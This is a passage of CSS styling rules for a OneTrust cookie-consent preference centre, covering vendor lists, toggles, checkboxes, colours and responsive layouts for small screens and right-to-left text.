      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item button[aria-expanded=true],
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item button[aria-expanded=true] {
        border-bottom: none
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item:first-child,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item:first-child {
        margin-top: .25rem;
        border-top: unset
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item:last-child,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item:last-child {
        margin-bottom: .5rem
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item:last-child button,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item:last-child button {
        border-bottom: none
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info-cntr,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info-cntr {
        border: 1px solid #d8d8d8;
        padding: .75rem 1.75rem;
        padding-bottom: 0;
        width: auto;
        margin-top: .5rem
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info {
        margin-bottom: 1rem;
        padding-left: .75rem;
        padding-right: .75rem;
        display: flex;
        flex-direction: column
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info>div,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info>div {
        display: flex
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOEmail],
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOEmail] {
        border-top: 1px solid #d8d8d8;
        padding-top: 1rem
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOLink],
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOLink] {
        border-bottom: 1px solid #d8d8d8;
        padding-bottom: 1rem
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info .ot-vnd-lbl,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info .ot-vnd-lbl {
        font-weight: bold;
        font-size: .85em;
        margin-bottom: .5rem
      }

      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info .ot-vnd-cnt,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info .ot-vnd-cnt {
        margin-left: .5rem;
        font-weight: 500;
        font-size: .85rem
      }

      #onetrust-pc-sdk .ot-vs-list.ot-vnd-subgrp-cnt,
      #onetrust-pc-sdk .ot-vnd-serv.ot-vnd-subgrp-cnt {
        padding-left: 40px
      }

      #onetrust-pc-sdk .ot-vs-list.ot-vnd-subgrp-cnt .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr,
      #onetrust-pc-sdk .ot-vnd-serv.ot-vnd-subgrp-cnt .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr {
        font-size: .8em
      }

      #onetrust-pc-sdk .ot-vs-list.ot-vnd-subgrp-cnt .ot-cat-header,
      #onetrust-pc-sdk .ot-vnd-serv.ot-vnd-subgrp-cnt .ot-cat-header {
        font-size: .8em
      }

      #onetrust-pc-sdk .ot-subgrp-cntr .ot-vnd-serv {
        margin-bottom: 1rem;
        padding: 1rem .95rem
      }

      #onetrust-pc-sdk .ot-subgrp-cntr .ot-vnd-serv .ot-vnd-serv-hdr-cntr {
        padding-bottom: .75rem;
        border-bottom: 1px solid #d8d8d8
      }

      #onetrust-pc-sdk .ot-subgrp-cntr .ot-vnd-serv .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr {
        font-weight: 700;
        font-size: .8em;
        line-height: 20px;
        margin-left: .82rem
      }

      #onetrust-pc-sdk .ot-subgrp-cntr .ot-cat-header {
        font-weight: 700;
        font-size: .8em;
        line-height: 20px
      }

      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-vnd-serv .ot-vnd-lst-cont .ot-accordion-layout .ot-acc-hdr div.ot-chkbox {
        margin-left: .82rem
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr {
        padding: .7rem 0;
        margin: 0;
        display: flex;
        width: 100%;
        align-items: center;
        justify-content: space-between
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr div:first-child,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr div:first-child,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr div:first-child,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr div:first-child,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr div:first-child,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr div:first-child,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr div:first-child {
        margin-left: .5rem
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr div:last-child,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr div:last-child,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr div:last-child,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr div:last-child,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr div:last-child,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr div:last-child,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr div:last-child {
        margin-right: .5rem;
        margin-left: .5rem
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-always-active,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-always-active,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-always-active,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-always-active,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-always-active,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-always-active,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-always-active {
        position: relative;
        right: unset;
        top: unset;
        transform: unset
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-plus-minus,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-plus-minus,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-plus-minus,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-plus-minus,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-plus-minus,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-plus-minus,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-plus-minus {
        top: 0
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-arw-cntr,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-arw-cntr,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-arw-cntr,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-arw-cntr,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-arw-cntr,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-arw-cntr,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-arw-cntr {
        float: none;
        top: unset;
        right: unset;
        transform: unset;
        margin-top: -2px;
        position: relative
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-cat-header,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-cat-header,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-cat-header,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-cat-header,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-cat-header,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-cat-header,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-cat-header {
        flex: 1;
        margin: 0 .5rem
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-tgl,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-tgl,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-tgl,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-tgl,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-tgl,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-tgl,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-tgl {
        position: relative;
        transform: none;
        right: 0;
        top: 0;
        float: none
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox {
        position: relative;
        margin: 0 .5rem
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox label,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox label,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox label,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox label,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox label {
        padding: 0
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox label::before,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox label::before,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox label::before,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label::before,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox label::before,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label::before,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox label::before {
        position: relative
      }

      #onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox input,
      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox input,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox input,
      #onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox input,
      #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox input,
      #onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox input,
      #onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox input {
        position: absolute;
        cursor: pointer;
        width: 100%;
        height: 100%;
        opacity: 0;
        margin: 0;
        top: 0;
        left: 0;
        z-index: 1
      }

      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp .ot-acc-hdr h5.ot-cat-header,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp .ot-acc-hdr h4.ot-cat-header,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp .ot-acc-hdr p[aria-level="5"].ot-cat-header,
      #onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp .ot-acc-hdr p[aria-level="4"].ot-cat-header {
        margin: 0
      }

      #onetrust-pc-sdk .ot-vs-config .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp h5,
      #onetrust-pc-sdk .ot-vs-config .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp p[aria-level="5"] {
        top: 0;
        line-height: 20px
      }

      #onetrust-pc-sdk .ot-vs-list {
        display: flex;
        flex-direction: column;
        padding: 0;
        margin: .5rem 4px
      }

      #onetrust-pc-sdk .ot-vs-selc-all {
        display: flex;
        padding: 0;
        float: unset;
        align-items: center;
        justify-content: flex-start
      }

      #onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf {
        justify-content: flex-end
      }

      #onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf.ot-caret-conf .ot-sel-all-chkbox {
        margin-right: 48px
      }

      #onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf .ot-sel-all-chkbox {
        margin: 0;
        padding: 0;
        margin-right: 14px;
        justify-content: flex-end
      }

      #onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf #ot-selall-vencntr.ot-chkbox,
      #onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf #ot-selall-vencntr.ot-tgl {
        display: inline-block;
        right: unset;
        width: auto;
        height: auto;
        float: none
      }

      #onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf #ot-selall-vencntr label {
        width: 45px;
        height: 25px
      }

      #onetrust-pc-sdk .ot-vs-selc-all .ot-sel-all-chkbox {
        margin-right: 11px;
        margin-left: .75rem;
        display: flex;
        align-items: center
      }

      #onetrust-pc-sdk .ot-vs-selc-all .sel-all-hdr {
        margin: 0 1.25rem;
        font-size: .812em;
        line-height: normal;
        text-align: center;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk .ot-vnd-list-cnt #ot-selall-vencntr.ot-chkbox {
        float: unset;
        right: 0
      }

      #onetrust-pc-sdk[dir=rtl] #ot-back-arw,
      #onetrust-pc-sdk[dir=rtl] input~.ot-acc-hdr .ot-arw {
        transform: rotate(180deg);
        -o-transform: rotate(180deg);
        -ms-transform: rotate(180deg);
        -webkit-transform: rotate(180deg)
      }

      #onetrust-pc-sdk[dir=rtl] input:checked~.ot-acc-hdr .ot-arw {
        transform: rotate(270deg);
        -o-transform: rotate(270deg);
        -ms-transform: rotate(270deg);
        -webkit-transform: rotate(270deg)
      }

      #onetrust-pc-sdk[dir=rtl] .ot-chkbox label::after {
        transform: rotate(45deg);
        -webkit-transform: rotate(45deg);
        -o-transform: rotate(45deg);
        -ms-transform: rotate(45deg);
        border-left: 0;
        border-right: 3px solid
      }

      #onetrust-pc-sdk[dir=rtl] .ot-search-cntr>svg {
        right: 0
      }

      @media only screen and (max-width: 600px) {
        #onetrust-pc-sdk.otPcCenter {
          left: 0;
          min-width: 100%;
          height: 100% !important;
          top: 0;
          border-radius: 0
        }

        #onetrust-pc-sdk #ot-pc-content.ot-button-order-container,
        #onetrust-pc-sdk.ot-ftr-stacked .ot-btn-container.ot-button-order-container {
          margin: 0;
          width: 100%;
          padding: .5em 1em;
          gap: .5rem;
          flex-wrap: nowrap;
          align-items: center;
          flex-direction: column;
          box-sizing: border-box;
          height: calc(100% - 30px);
          justify-content: space-around
        }

        #onetrust-pc-sdk #ot-pc-content.ot-button-order-container *[class*=ot-button-order-],
        #onetrust-pc-sdk.ot-ftr-stacked .ot-btn-container.ot-button-order-container *[class*=ot-button-order-] {
          margin: 0 !important
        }

        #onetrust-pc-sdk .ot-btn-container button {
          max-width: none;
          letter-spacing: .01em
        }

        #onetrust-pc-sdk #close-pc-btn-handler {
          top: 10px;
          right: 17px
        }

        #onetrust-pc-sdk p {
          font-size: .7em
        }

        #onetrust-pc-sdk #ot-pc-hdr {
          margin: 10px 10px 0 5px;
          width: calc(100% - 15px)
        }

        #onetrust-pc-sdk .vendor-search-handler {
          font-size: 1em
        }

        #onetrust-pc-sdk #ot-back-arw {
          margin-left: 12px
        }

        #onetrust-pc-sdk #ot-lst-cnt {
          margin: 0;
          padding: 0 5px 0 10px;
          min-width: 95%
        }

        #onetrust-pc-sdk .switch+p {
          max-width: 80%
        }

        #onetrust-pc-sdk .ot-ftr-stacked button {
          width: 100%
        }

        #onetrust-pc-sdk #ot-fltr-cnt {
          max-width: 320px;
          width: 90%;
          border-top-right-radius: 0;
          border-bottom-right-radius: 0;
          margin: 0;
          margin-left: 15px;
          left: auto;
          right: 40px;
          top: 85px
        }

        #onetrust-pc-sdk .ot-fltr-opt {
          margin-left: 25px;
          margin-bottom: 10px
        }

        #onetrust-pc-sdk #ot-fltr-cnt {
          right: 40px
        }
      }

      @media only screen and (max-width: 500px) {

        #onetrust-pc-sdk .ot-fltr-cntr,
        #onetrust-pc-sdk #ot-fltr-cnt {
          right: 10px
        }

        #onetrust-pc-sdk #ot-anchor {
          right: 25px
        }

        #onetrust-pc-sdk button {
          width: 100%
        }

        #onetrust-pc-sdk:not(.ot-addtl-vendors) #ot-pc-lst:not(.ot-enbl-chr) .ot-sel-all {
          padding-right: 9px
        }

        #onetrust-pc-sdk:not(.ot-addtl-vendors) #ot-pc-lst:not(.ot-enbl-chr) .ot-tgl-cntr {
          right: 0
        }

        #onetrust-pc-sdk .ot-btn-container.ot-button-order-container .ot-pc-refuse-all-handler,
        #onetrust-pc-sdk .ot-btn-container.ot-button-order-container .save-preference-btn-handler,
        #onetrust-pc-sdk .ot-btn-container.ot-button-order-container #accept-recommended-btn-handler {
          width: 100%
        }
      }

      @media(min-width: 768px) {
        #onetrust-pc-sdk.ot-tgl-with-label .ot-label-status {
          display: inline
        }

        #onetrust-pc-sdk.ot-tgl-with-label #ot-pc-lst .ot-label-status {
          display: none
        }
      }

      @media only screen and (max-width: 896px)and (max-height: 425px)and (orientation: landscape) {
        #onetrust-pc-sdk.otPcCenter {
          left: 0;
          top: 0;
          min-width: 100%;
          height: 100%;
          border-radius: 0
        }

        #onetrust-pc-sdk .ot-pc-header {
          height: auto;
          min-height: 20px
        }

        #onetrust-pc-sdk .ot-pc-header .ot-pc-logo {
          max-height: 30px
        }

        #onetrust-pc-sdk .ot-pc-footer {
          max-height: 90px;
          height: 100% !important
        }

        #onetrust-pc-sdk .ot-pc-footer .ot-btn-container {
          overflow-y: auto;
          overflow-x: hidden;
          max-height: calc(100% - 30px)
        }

        #onetrust-pc-sdk #ot-pc-content,
        #onetrust-pc-sdk #ot-pc-lst {
          bottom: 100px
        }

        #onetrust-pc-sdk.ot-ftr-stacked #ot-pc-content,
        #onetrust-pc-sdk.ot-ftr-stacked #ot-pc-lst {
          bottom: 100px
        }

        #onetrust-pc-sdk #ot-anchor {
          left: initial;
          right: 50px
        }

        #onetrust-pc-sdk #ot-lst-title {
          margin-top: 12px
        }

        #onetrust-pc-sdk #ot-lst-title * {
          font-size: inherit
        }

        #onetrust-pc-sdk #ot-pc-hdr input {
          margin-right: 0;
          padding-right: 45px
        }

        #onetrust-pc-sdk .switch+p {
          max-width: 85%
        }

        #onetrust-pc-sdk #ot-sel-blk {
          position: static
        }

        #onetrust-pc-sdk #ot-pc-lst {
          overflow: auto
        }

        #onetrust-pc-sdk #ot-lst-cnt {
          max-height: none;
          overflow: initial
        }

        #onetrust-pc-sdk #ot-lst-cnt.no-results {
          height: auto
        }

        #onetrust-pc-sdk input {
          font-size: 1em !important
        }

        #onetrust-pc-sdk p {
          font-size: .6em
        }

        #onetrust-pc-sdk #ot-fltr-modal {
          width: 100%;
          top: 0
        }

        #onetrust-pc-sdk ul li p,
        #onetrust-pc-sdk .category-vendors-list-handler,
        #onetrust-pc-sdk .category-vendors-list-handler+a,
        #onetrust-pc-sdk .category-host-list-handler {
          font-size: .6em
        }

        #onetrust-pc-sdk.ot-shw-fltr #ot-anchor {
          display: none !important
        }

        #onetrust-pc-sdk.ot-shw-fltr #ot-pc-lst {
          height: 100% !important;
          overflow: hidden;
          top: 0px
        }

        #onetrust-pc-sdk.ot-shw-fltr #ot-fltr-cnt {
          margin: 0;
          height: 100%;
          max-height: none;
          padding: 10px;
          top: 0;
          width: calc(100% - 20px);
          position: absolute;
          right: 0;
          left: 0;
          max-width: none
        }

        #onetrust-pc-sdk.ot-shw-fltr .ot-fltr-scrlcnt {
          max-height: calc(100% - 65px)
        }
      }

      #onetrust-consent-sdk #onetrust-pc-sdk,
      #onetrust-consent-sdk #ot-search-cntr,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-switch.ot-toggle,
      #onetrust-consent-sdk #onetrust-pc-sdk ot-grp-hdr1 .checkbox,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-title:after,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-sel-blk,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-fltr-cnt,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-anchor {
        background-color: #ffffff;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk h3,
      #onetrust-consent-sdk #onetrust-pc-sdk h4,
      #onetrust-consent-sdk #onetrust-pc-sdk h5,
      #onetrust-consent-sdk #onetrust-pc-sdk h6,
      #onetrust-consent-sdk #onetrust-pc-sdk p,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-ven-lst .ot-ven-opts p,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-desc,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-title,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-title-mobile,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-li-title,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-sel-all-hdr span,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-host-lst .ot-host-info,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-fltr-modal #modal-header,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-checkbox label span,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst #ot-sel-blk p,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst #ot-lst-title h3,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst #ot-lst-title p[aria-level="3"],
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst .back-btn-handler p,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst .ot-ven-name,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst #ot-ven-lst .consent-category,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-leg-btn-container .ot-inactive-leg-btn,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-label-status,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-chkbox label span,
      #onetrust-consent-sdk #onetrust-pc-sdk #clear-filters-handler,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-optout-signal {
        color: #3A3B3C;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .privacy-notice-link,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-pgph-link,
      #onetrust-consent-sdk #onetrust-pc-sdk .category-vendors-list-handler,
      #onetrust-consent-sdk #onetrust-pc-sdk .category-vendors-list-handler+a,
      #onetrust-consent-sdk #onetrust-pc-sdk .category-host-list-handler,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-ven-link,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-ven-legclaim-link,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-host-lst .ot-host-name a,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-host-lst .ot-acc-hdr .ot-host-expand,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-host-lst .ot-host-info a,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-content #ot-pc-desc .ot-link-btn,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info a,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info a,
      #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-desc a {
        color: #3860BE;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .category-vendors-list-handler:hover {
        text-decoration: underline;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-acc-grpcntr.ot-acc-txt,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-acc-txt .ot-subgrp-tgl .ot-switch.ot-toggle {
        background-color: #E9E9E9;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk #ot-host-lst .ot-host-info,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-acc-txt .ot-ven-dets {
        background-color: #E9E9E9;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk button:not(#clear-filters-handler):not(.ot-close-icon):not(#filter-btn-handler):not(.ot-remove-objection-handler):not(.ot-obj-leg-btn-handler):not([aria-expanded]):not(.ot-link-btn),
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-leg-btn-container .ot-active-leg-btn {
        background-color: #D02F5E;
        border-color: #D02F5E;
        color: #FFFFFF;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-active-menu {
        border-color: #D02F5E;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-leg-btn-container .ot-remove-objection-handler {
        background-color: transparent;
        border: 1px solid transparent;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-leg-btn-container .ot-inactive-leg-btn {
        background-color: #FFFFFF;
        color: #4D4D4D;
        border-color: #4D4D4D;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-tgl input:checked+.ot-switch .ot-switch-nob {
        background-color: #468254;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-switch-nob {
        background-color: #767676;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk .ot-tgl input:focus+.ot-switch,
      .ot-switch .ot-switch-nob,
      .ot-switch .ot-switch-nob:before,
      #onetrust-pc-sdk .ot-checkbox input[type="checkbox"]:focus+label::before,
      #onetrust-pc-sdk .ot-chkbox input[type="checkbox"]:focus+label::before {
        outline-color: #000000;
        outline-width: 1px;
        outline-offset: 1px;
      }

      #onetrust-pc-sdk .ot-host-item>button:focus,
      #onetrust-pc-sdk .ot-ven-item>button:focus {
        border: 1px solid #000000;
      }

      #onetrust-consent-sdk #onetrust-pc-sdk *:focus,
      #onetrust-consent-sdk #onetrust-pc-sdk .ot-vlst-cntr>a:focus {
        outline: 1px solid #000000;
        outline-offset: 1px;
      }

      .ot-sdk-cookie-policy {
        font-family: inherit;
        font-size: 16px
      }

      .ot-sdk-cookie-policy.otRelFont {
        font-size: 1rem
      }

      .ot-sdk-cookie-policy h3,
      .ot-sdk-cookie-policy h4,
      .ot-sdk-cookie-policy h6,
      .ot-sdk-cookie-policy p,
      .ot-sdk-cookie-policy li,
      .ot-sdk-cookie-policy a,
      .ot-sdk-cookie-policy th,
      .ot-sdk-cookie-policy #cookie-policy-description,
      .ot-sdk-cookie-policy .ot-sdk-cookie-policy-group,
      .ot-sdk-cookie-policy #cookie-policy-title {
        color: dimgray
      }

      .ot-sdk-cookie-policy #cookie-policy-description {
        margin-bottom: 1em
      }

      .ot-sdk-cookie-policy h4 {
        font-size: 1.2em
      }

      .ot-sdk-cookie-policy h6 {
        font-size: 1em;
        margin-top: 2em
      }

      .ot-sdk-cookie-policy th {
        min-width: 75px
      }

      .ot-sdk-cookie-policy a,
      .ot-sdk-cookie-policy a:hover {
        background: #fff
      }

      .ot-sdk-cookie-policy thead {
        background-color: #f6f6f4;
        font-weight: bold
      }

      .ot-sdk-cookie-policy .ot-mobile-border {
        display: none
      }

      .ot-sdk-cookie-policy section {
        margin-bottom: 2em
      }

      .ot-sdk-cookie-policy table {
        border-collapse: inherit
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy {
        font-family: inherit;
        font-size: 1rem
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy h3,
